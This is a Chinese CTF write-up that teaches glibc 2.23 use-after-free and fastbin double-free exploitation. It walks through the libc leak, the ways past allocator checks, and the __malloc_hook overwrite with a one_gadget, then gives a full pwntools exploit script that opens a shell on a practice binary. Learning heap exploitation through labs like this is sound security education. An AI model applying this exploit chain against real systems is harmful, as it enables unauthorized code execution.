啥是UAF?
UAF即Use After Free
简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
- 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
Double Free
在学习Double Free之前,需要先去了解一些堆的基本知识
堆的相关数据结构:
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heap-structure/
堆的申请与释放:
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc/
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/free/
前情提要:
我们在调用malloc申请堆块的时候会先检查一个名为__malloc_hook的函数,在查看到其内部为NULL的时候才会正常运转,生成堆块
那有人问了:那如果__malloc_hook函数内不为NULL会如何呢?
当__malloc_hook内存有东西时,程序在申请堆块的时候就会跳转执行__malloc_hook里面的东西
这也是本期我们利用的重点
话又说回来
我们今天学习的利用方法是Double Free,顾名思义,就是对同一个堆块进行两次释放(free)
UAF漏洞存在是因为内存块被释放后,其对应的指针没有被设置为 NULL ,所以我们可以再次使用该堆块
我们可以两次free同一个堆块,又由于fastbins是管理在malloc_state结构体重的一串单向链表,上一个堆块的fd指针指向下一个堆块的地址,因此,我们可以将该堆块再一次申请出来,就可以对其进行修改,把它的fd指针改为malloc hook地址,随后再将malloc hook申请出来,就可以修改malloc hook地址里的东西了,我们可以把one_gadget的地址写入malloc hook,然后再申请一个堆块就会返回到one_gadget获取权限
纸上谈兵无法查验真假,让我们实践一下看看(其实以上理论并完全正确,请看下面实操)
例题(libc-2.23.so)
保护全开,64位,动态编译,IDA查看:
进入menu查看
可以看到,这是一道菜单题,让我们看看每个选项里都有啥
先看Add note,也就是malloc:
总共有两次读入,第一次读入定义堆块的大小,第二次读入填写堆块的内容,就是一个基本的申请堆块的代码
再看Delete note,也就是free:
可以看到,程序在对堆块进行free的时候并没有将其对应的指针设置为 NULL,这就是典型的UAF漏洞
最后是Print note:
主要部分就是一个puts函数,作用是将堆块内的东西打印出来
代码分析完,发现存在UAF漏洞,我们就可以通过double free的手法去获取权限
下面就开始写脚本(第一人称)
为了方便申请堆块,释放堆块以及打印堆块内容,我先是定义了三个函数
def add(i,j):
p.recvuntil("Your choice :")
p.sendline(str(1))
p.recvuntil("Note size :")
p.sendline(str(i))
p.recvuntil("Content :")
p.send(j)
def free(i):
p.recvuntil("Your choice :")
p.sendline(str(2))
p.recvuntil("Index :")
p.send(str(i))
def show(i):
p.recvuntil("Your choice :")
p.sendline(str(3))
p.recvuntil("Index :")
p.send(str(i))
我先是申请了几个堆块,其中一个堆块大小申请为0x80,这样程序就会给我们一个0x91的堆块,当堆块大小超过0x90的时候,释放的堆块就会进入unshort bin管理器,该堆块的fd与bk指针就会被修改为一个libc地址与一个栈地址,这时候接收一下fd指针上的libc地址,然后在debug界面使用vmmap指令查询到libc基址,随后求出基址与fd指针上的地址偏移,得出基址
脚本如下:
add(0x68,b'a')
add(0x80,b'a')
add(0x68,b'a')
free(1)
show(1)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-3951480
print(hex(libc_base))
由于申请的堆块下标由0开始,因此,在free0x80堆块的时候,应该是free(1)
这里有一点需要注意:
申请的0x80大小的堆块不能放在最后,因为当大于0x91的堆块free时与top chunk是贴着的,那么在free之后,这个堆块就不会进入unshort bin里去,而是与top chunk融合在了一起,因此这里我在0x80后又申请了一个0x68的堆块,一来隔绝了0x80与top chunk,二来,在后面使用double free的时候也有作用
接收完libc基址之后,我们就可以得到malloc hook的地址与one_gadget的地址
随后使用double free的手法
连续free两次同一个堆块,再申请一次同样大小的堆块,这样同一个堆块就分成了两个,一个被申请出来了,我们可以修改,还有一个还在fast bin里,我们只需要将malloc hook地址传进被申请出来的那个堆块里,对应的,在fast里的那个堆块内存也会被修改,malloc hook就会被当做堆块存进fast bin,这样一来,我们连续申请,就可以将malloc hook申请出来,我们就可以将one_gadget存进malloc hook里面,随后再申请一个堆块,程序识别到malloc hook里面有东西,就会跳转到one_gadget去执行,获取权限
理论虽是如此,但在调试的时候其实会出现两个问题
其一
我们连续free两次同一个堆块,程序会报错,因此我们无法连续free两次同一个堆块,这是程序本身的机制,与代码无关,那我们要如何去double free呢?其实很简单,只需要在两次free中间,再free一个不同的堆块即可绕过,这就是我上面说的在0x80后申请的0x68的堆块的作用
其二:
在将malloc hook地址传进被申请出来的那个堆块里的时候,其实也是会报错的,这是因为fast bin会检测堆块是否符合其存储大小(0x20~0x80),而malloc hook本身是为NULL的,因此程序会报错,其实这也好绕过,只需要在debug里使用x/32gx查看一下malloc hook上面的地址是什么样的,通常上面会有几个栈地址,而栈地址第一个字节刚好是0x7f,刚好满足fast bin的判断要求,我们计算一下偏移,使偏移后的地址size位刚好为7f即可,在将malloc hook地址传进被申请出来的那个堆块里的时候,改为将其上面那个偏移的地址传进去,在申请出来的时候将偏移填上即可
exp:
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
p=process("./test2")
elf=ELF("./test2")
libc=ELF("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def bug():
gdb.attach(p)
pause()
def add(i,j):
p.recvuntil("Your choice :")
p.sendline(str(1))
p.recvuntil("Note size :")
p.sendline(str(i))
p.recvuntil("Content :")
p.send(j)
def free(i):
p.recvuntil("Your choice :")
p.sendline(str(2))
p.recvuntil("Index :")
p.send(str(i))
def show(i):
p.recvuntil("Your choice :")
p.sendline(str(3))
p.recvuntil("Index :")
p.send(str(i))
add(0x68,b'a')
add(0x80,b'a')
add(0x68,b'a')
free(1)
show(1)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-3951480
print(hex(libc_base))
one_gadget=libc_base+0xf1247
malloc=libc_base+libc.sym['__malloc_hook']
free(0)
free(2)
free(0)
add(0x68,p64(malloc-0x23))
add(0x68,b'a')
add(0x68,b'a')
add(0x68,b'a'*0x13+p64(one_gadget))
bug()
p.recvuntil("Your choice :")
p.sendline(str(1))
p.recvuntil("Note size :")
p.sendline(str(68))
p.interactive()